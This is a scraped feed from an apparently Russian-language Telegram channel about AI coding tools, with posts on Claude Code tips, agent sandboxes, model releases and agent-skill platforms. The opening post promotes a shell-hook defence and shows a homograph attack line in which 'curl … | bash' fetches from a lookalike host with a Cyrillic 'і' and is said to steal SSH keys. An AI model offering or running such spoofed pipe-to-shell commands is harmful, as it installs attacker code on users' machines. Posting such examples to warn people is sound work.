Будь честен. Когда ты в последний раз читал команду, прежде чем вставить её в терминал?
Потому что эти две строки выглядят одинаково:
Одна устанавливает тулзу.
Другая — уводит твои SSH-ключи.
Вот эта і — кириллическая, не латинская. Браузер такое заблокирует. Терминал даже не моргнёт.
Новички копипастят команды из ChatGPT и случайных репозиториев, вообще не задумываясь. Мы буквально в одном
Поэтому и сделали фикс — tirith
Невидимый shell-хук. Он перехватывает омографические атаки, ANSI-инъекции, скрытые команды и перезапись дотфайлов до выполнения.
30 правил. Полностью локально. Никакой телеметрии
Потому что эти две строки выглядят одинаково:
curl -sSL https://install.example-cli | bash
curl -sSL https://іnstall.example-clі | bash
Одна устанавливает тулзу.
Другая — уводит твои SSH-ключи.
Вот эта і — кириллическая, не латинская. Браузер такое заблокирует. Терминал даже не моргнёт.
Новички копипастят команды из ChatGPT и случайных репозиториев, вообще не задумываясь. Мы буквально в одном
curl | bash от того, чтобы потерять всё.Поэтому и сделали фикс — tirith
Невидимый shell-хук. Он перехватывает омографические атаки, ANSI-инъекции, скрытые команды и перезапись дотфайлов до выполнения.
30 правил. Полностью локально. Никакой телеметрии
5
This media is not supported in your browser
VIEW IN TELEGRAM
Теперь можно использовать Claude и Codex в GitHub и VScode с подпиской GitHub Copilot Pro+ или Copilot Enterprise.
▪️ Единое рабочее пространство с сессиями агентов для локальных, фоновых и облачных агентов
▪️ Параллельные сабагенты
▪️ Встроенный браузер
И многое другое…
И многое другое…
Please open Telegram to view this post
VIEW IN TELEGRAM
2
Советы для работы с Claude Code
(Добавьте их в ваш CLAUDE
1. Прежде чем писать код, опиши свой подход и дождись подтверждения. Всегда задавай уточняющие вопросы, если требования неясны.
2. Если задача затрагивает больше 3 файлов, остановись и разбей её на более мелкие подзадачи.
3. После написания кода, перечисли, что может сломаться, и предложи тесты для проверки.
4. При баге сначала напиши тест, который его воспроизводит, затем исправляй код, пока тест не проходит.
5. Каждый раз, когда я исправляю тебя, добавляй новое правило в CLAUDE
На англ.:
В файле правила обычно формулируются детальнее, чем здесь, но суть этих пунктов именно такая.
(Добавьте их в ваш CLAUDE
.md файл)1. Прежде чем писать код, опиши свой подход и дождись подтверждения. Всегда задавай уточняющие вопросы, если требования неясны.
2. Если задача затрагивает больше 3 файлов, остановись и разбей её на более мелкие подзадачи.
3. После написания кода, перечисли, что может сломаться, и предложи тесты для проверки.
4. При баге сначала напиши тест, который его воспроизводит, затем исправляй код, пока тест не проходит.
5. Каждый раз, когда я исправляю тебя, добавляй новое правило в CLAUDE
.md файл, чтобы это больше не повторялось.На англ.:
1. "Before writing any code, describe your approach and wait for approval. Always ask clarifying questions before writing any code if requirements are ambiguous."
2. "If a task requires changes to more than 3 files, stop and break it into smaller tasks first."
3. "After writing code, list what could break and suggest tests to cover it."
4. "When there’s a bug, start by writing a test that reproduces it, then fix it until the test passes."
5. "Every time I correct you, add a new rule to the CLAUDE .md file so it never happens again."
В файле правила обычно формулируются детальнее, чем здесь, но суть этих пунктов именно такая.
5
Опенсорс скилл: code-review-expert
Агент-скилл, который делает ревью кода как сеньор-инженер:
• нарушения принципов SOLID
• уязвимости безопасности (XSS, инъекции, race condition)
• проблемы с производительностью (N+1, отсутствие кэша)
• обработка ошибок и граничные случаи
Установка командой:
repo: https://github.com/sanyuan0704/code-review-expert
Агент-скилл, который делает ревью кода как сеньор-инженер:
• нарушения принципов SOLID
• уязвимости безопасности (XSS, инъекции, race condition)
• проблемы с производительностью (N+1, отсутствие кэша)
• обработка ошибок и граничные случаи
Установка командой:
npx skills add sanyuan0704/code-review-expert
repo: https://github.com/sanyuan0704/code-review-expert
GitHub
GitHub - sanyuan0704/code-review-expert: Expert code review skill: SOLID, security, performance, error handling, boundary conditions
Expert code review skill: SOLID, security, performance, error handling, boundary conditions - sanyuan0704/code-review-expert
This media is not supported in your browser
VIEW IN TELEGRAM
Ну всё, приехали.
AI-агенты будут автономно обучаться новым скиллам и становиться лучше сами по себе.
Вот этот, например, запускает 8 параллельных агентов, которые за 2 минуты скрейпят доки, GitHub, Stack Overflow и блоги.
Код на 100% open source.
AI-агенты будут автономно обучаться новым скиллам и становиться лучше сами по себе.
Вот этот, например, запускает 8 параллельных агентов, которые за 2 минуты скрейпят доки, GitHub, Stack Overflow и блоги.
Код на 100% open source.
Сейчас AI-агенты всё лучше пишут код, но запускать их напрямую на локалке не всегда то и хочется
Особенно в режиме автозапуска, страшно, что AI случайно удалит важные файлы или вообще получит доступ к приватным данным.
Недавно на GitHub наткнулся на Vibe: опенсорс проект для macOS, который поднимает сверхбыструю Linux-виртуалку в песочнице.
Главные плюсы: нулевая конфигурация, изоляция за <10 секунд, можно спокойно закрыть AI в клетку.
AI видит только текущий проект, а все остальные чувствительные каталоги полностью изолированы.
Написан на Rust, использует родную виртуализацию Apple, безопаснее Docker и при этом почти не грузит ресурсы
Особенно в режиме автозапуска, страшно, что AI случайно удалит важные файлы или вообще получит доступ к приватным данным.
Недавно на GitHub наткнулся на Vibe: опенсорс проект для macOS, который поднимает сверхбыструю Linux-виртуалку в песочнице.
Главные плюсы: нулевая конфигурация, изоляция за <10 секунд, можно спокойно закрыть AI в клетку.
AI видит только текущий проект, а все остальные чувствительные каталоги полностью изолированы.
Написан на Rust, использует родную виртуализацию Apple, безопаснее Docker и при этом почти не грузит ресурсы
GitHub
GitHub - lynaghk/vibe: Easy Linux virtual machine on MacOS to sandbox LLM agents.
Easy Linux virtual machine on MacOS to sandbox LLM agents. - lynaghk/vibe
6
This media is not supported in your browser
VIEW IN TELEGRAM
В Claude Code добавили новую команду
Когда вы её запускаете, Claude Code анализирует вашу историю сообщений за последний месяц. Он суммирует ваши проекты, показывает, как вы используете Claude Code, и даёт советы по оптимизации рабочего процесса.
/insights.Когда вы её запускаете, Claude Code анализирует вашу историю сообщений за последний месяц. Он суммирует ваши проекты, показывает, как вы используете Claude Code, и даёт советы по оптимизации рабочего процесса.
3
This media is not supported in your browser
VIEW IN TELEGRAM
Кто-то создал курс по изучению Claude Code в Claude Code: попробуйте
10
Сразу 2 мощнейших релиза: вышли Claude Opus 4.6 и GPT-5.3 Codex
Opus 4.6 от Anthropic:
https://www.anthropic.com/news/claude-opus-4-6
GPT-5.3 Codex от OpenAI:
https://openai.com/index/introducing-gpt-5-3-codex/
Opus 4.6 от Anthropic:
– контекст 1 млн токенов (в бете)
– заметно лучше держит большие кодовые базы и длинный ризонинг
– стабильнее в агентных сценариях (кодинг, поиск, аналитика)
– адаптивное мышление, авто-компрессия контекста, 128k токенов output
– цена без изменений
https://www.anthropic.com/news/claude-opus-4-6
GPT-5.3 Codex от OpenAI:
– на TerminalBench обходит новый Opus 4.6 (77.3% против 65.4%), плюс 57% на SWE-Bench Pro и 64% на OSWorld
– управляемость прямо в процессе выполнения и живые апдейты по ходу задач
– для тех же задач тратит меньше чем в 2 раза токенов, чем 5.2-Codex, и при этом >25% быстрее на токен
– хорошо справляется с “computer use” (умеет нормально работать с задачами на компьютере)
– модель уже доступна в Codex
https://openai.com/index/introducing-gpt-5-3-codex/
10
This media is not supported in your browser
VIEW IN TELEGRAM
Структурированные выводы
Что убрали структурированные выводы:
→ Ошибки
→ Логику повторных попыток
→ «почти корректные» ответы
→ извлечение через regex
→ предварительное заполнение
→ ваш слой валидации
Суть: задаёшь схему → получаешь строго этот формат каждый раз.
Как использовать:
→ Определи схему в Pydantic, Zod или обычном JSON Schema.
→ Передай схему через
→ Claude ограничивает генерацию токенов так, чтобы результат точно соответствовал схеме.
Опционально: можно удалить все костыли, которые раньше использовались для обхода проблем.
Доки
Что убрали структурированные выводы:
→ Ошибки
JSON.parse()→ Логику повторных попыток
→ «почти корректные» ответы
→ извлечение через regex
→ предварительное заполнение
{→ ваш слой валидации
Суть: задаёшь схему → получаешь строго этот формат каждый раз.
Как использовать:
→ Определи схему в Pydantic, Zod или обычном JSON Schema.
→ Передай схему через
output_config.format.→ Claude ограничивает генерацию токенов так, чтобы результат точно соответствовал схеме.
Опционально: можно удалить все костыли, которые раньше использовались для обхода проблем.
Доки
2
Media is too big
VIEW IN TELEGRAM
Claude Code теперь поддерживает Agent Teams (в режиме research preview)
Вместо того чтобы один агент последовательно выполнял задачу, ведущий агент может делегировать работу нескольким коллегам по команде, которые параллельно занимаются исследованием, отладкой и разработкой, координируясь между собой
Чтобы включить, добавьте в
Достаточно описать нужный состав команды на обычном естественном языке, а затем
В связке с worktrees это сильно бустит эффективность всего воркфлоу
https://code.claude.com/docs/en/agent-teams
Вместо того чтобы один агент последовательно выполнял задачу, ведущий агент может делегировать работу нескольким коллегам по команде, которые параллельно занимаются исследованием, отладкой и разработкой, координируясь между собой
Чтобы включить, добавьте в
settings.json:{
"env": {
"CLAUDE_CODE_EXPERIMENTAL_AGENT_TEAMS": "1"
}
}Достаточно описать нужный состав команды на обычном естественном языке, а затем
Shift + ↑ позволяет в любой момент проверить прогресс каждого агентаВ связке с worktrees это сильно бустит эффективность всего воркфлоу
https://code.claude.com/docs/en/agent-teams
3
Ничоси: теперь можно запускать скиллы агентов с любым LLM, а не только с Claude.
Acontext — это опенсорс платформа, которая позволяет выполнять навыки агентов (pptx, xlsx, docx, pdf) с любым LLM через стандартизированные интерфейсы вызова тулов.
Ранее Claude Skills API был имбой, но ограничивал вас моделями Claude и выполнял навыки в «чёрном ящике». Acontext снимает оба ограничения.😁
Скиллы работают с любым LLM (OpenAI, Claude, Gemini, DeepSeek) через OpenRouter. Загружаете навыки один раз, и используете их на разных провайдерах без переписывания кода.
Главное отличие: прозрачность выполнения.
» В Claude API скиллы выполняются внутри управляемого рантайма. Вы получаете результат, но не видите, что происходит внутри.
» В Acontext выполнение полностью явное и под вашим контролем. Скиллы запускаются в вашем песочном окружении с полной видимостью: stdout, stderr, артефакты, логи и возможность повторного воспроизведения.
Это потребуется. Ведь когда агенты запускают длинные процессы, неожиданно падают или требуют отладки, нужно видеть, что именно произошло. Когда нужна защита, одобрения или чек безопасности перед запуском — нужен контроль. Acontext даёт и то, и другое.
Что получаем:
▪️ Скиллы агентов (pptx, xlsx, docx, pdf), работающие с любым LLM
▪️ Исполнение под контролем разработчика с фулл прозрачностью
▪️ Наблюдаемые логи и артефакты
▪️ Хранение контекста для OpenAI, Anthropic и Gemini
▪️ Единый API для загрузки, управления и запуска скиллов
Скиллы загружаются на пользователя, монтируются в песочницы и запускаются через один явный API.
И всё это 100% open source.
Acontext — это опенсорс платформа, которая позволяет выполнять навыки агентов (pptx, xlsx, docx, pdf) с любым LLM через стандартизированные интерфейсы вызова тулов.
Ранее Claude Skills API был имбой, но ограничивал вас моделями Claude и выполнял навыки в «чёрном ящике». Acontext снимает оба ограничения.
Скиллы работают с любым LLM (OpenAI, Claude, Gemini, DeepSeek) через OpenRouter. Загружаете навыки один раз, и используете их на разных провайдерах без переписывания кода.
Главное отличие: прозрачность выполнения.
» В Claude API скиллы выполняются внутри управляемого рантайма. Вы получаете результат, но не видите, что происходит внутри.
» В Acontext выполнение полностью явное и под вашим контролем. Скиллы запускаются в вашем песочном окружении с полной видимостью: stdout, stderr, артефакты, логи и возможность повторного воспроизведения.
Это потребуется. Ведь когда агенты запускают длинные процессы, неожиданно падают или требуют отладки, нужно видеть, что именно произошло. Когда нужна защита, одобрения или чек безопасности перед запуском — нужен контроль. Acontext даёт и то, и другое.
Что получаем:
Скиллы загружаются на пользователя, монтируются в песочницы и запускаются через один явный API.
И всё это 100% open source.
Please open Telegram to view this post
VIEW IN TELEGRAM
6
Anthropic дарит $50 бонусных кредитов к подписке Claude
Доступно, если у вас была подписка Pro или Max до 4 февраля и вы превысите лимит до 16 февраля. Новым аккаунтам и Teams / Enterprise – недоступно
Важно: для активации нужно включить автосписание при оверлимите. Пока тратите бонусные $50 – всё ок, но когда они закончатся, деньги начнут списываться с карты. Не забудьте выключить тумблер, иначе можно незаметно влететь
https://support.claude.com/en/articles/13613973-claude-opus-4-6-extra-usage-promo
Доступно, если у вас была подписка Pro или Max до 4 февраля и вы превысите лимит до 16 февраля. Новым аккаунтам и Teams / Enterprise – недоступно
Важно: для активации нужно включить автосписание при оверлимите. Пока тратите бонусные $50 – всё ок, но когда они закончатся, деньги начнут списываться с карты. Не забудьте выключить тумблер, иначе можно незаметно влететь
https://support.claude.com/en/articles/13613973-claude-opus-4-6-extra-usage-promo
3
То, что надо: Codag позволяет визуализировать рабочие процессы AI/LLM прямо в репозитории и посмотреть, как именно работает ваш AI-код.
Без всякой настройки Codag строит карту всего AI-пайплайна: все вызовы LLM, ветвления решений и этапы обработки данных.
100% опенсорс код
Без всякой настройки Codag строит карту всего AI-пайплайна: все вызовы LLM, ветвления решений и этапы обработки данных.
100% опенсорс код
This media is not supported in your browser
VIEW IN TELEGRAM
Печально, но это правда: все недооценивают MiniMax Agent.
Он как Clawdbot + Claude Cowork + Agent Skills в одном, но более отточенный.
Я проверял: дал ИИ научную статью и попросил сделать презентацию.
Ожидал что-то простое.
На выходе получилась хорошая структура, релевантные визуалы, чистый экспорт.
Смотри демо. Но это не всё.
Вот что ещё с ним можно делать:
▪️ Глубокие исследования через поиск, браузер и MCP
▪️ Создавать full-stack приложения с аутентификацией, базой данных и Stripe
▪️ Подключаться к GitHub, Figma, Slack прямо из коробки
▪️ Настраивать MCP под конкретные воркфлоу
▪️ Мультимодальность: поддержка видео, аудио и изображений
Просто опиши, что нужно, и агент это выполнит.
Особенно понравилась фишка с откатом и повторным запуском с любого шага через восстановление чекпоинта, если где-то ошибся.
Стартуем здесь💚
Он как Clawdbot + Claude Cowork + Agent Skills в одном, но более отточенный.
Я проверял: дал ИИ научную статью и попросил сделать презентацию.
Ожидал что-то простое.
На выходе получилась хорошая структура, релевантные визуалы, чистый экспорт.
Смотри демо. Но это не всё.
Вот что ещё с ним можно делать:
Просто опиши, что нужно, и агент это выполнит.
Особенно понравилась фишка с откатом и повторным запуском с любого шага через восстановление чекпоинта, если где-то ошибся.
Стартуем здесь
Please open Telegram to view this post
VIEW IN TELEGRAM
3
This media is not supported in your browser
VIEW IN TELEGRAM
Настраиваемые уровни усилий
Уровни усилий управляют адаптивным рассуждением Opus 4.6, которое динамически распределяет ресурсы мышления в зависимости от сложности задачи.
Низкий уровень усилий работает быстрее и обходится дешевле, а высокий дает более глубокое рассуждение для сложных задач.
Доки
Уровни усилий управляют адаптивным рассуждением Opus 4.6, которое динамически распределяет ресурсы мышления в зависимости от сложности задачи.
Низкий уровень усилий работает быстрее и обходится дешевле, а высокий дает более глубокое рассуждение для сложных задач.
Доки
2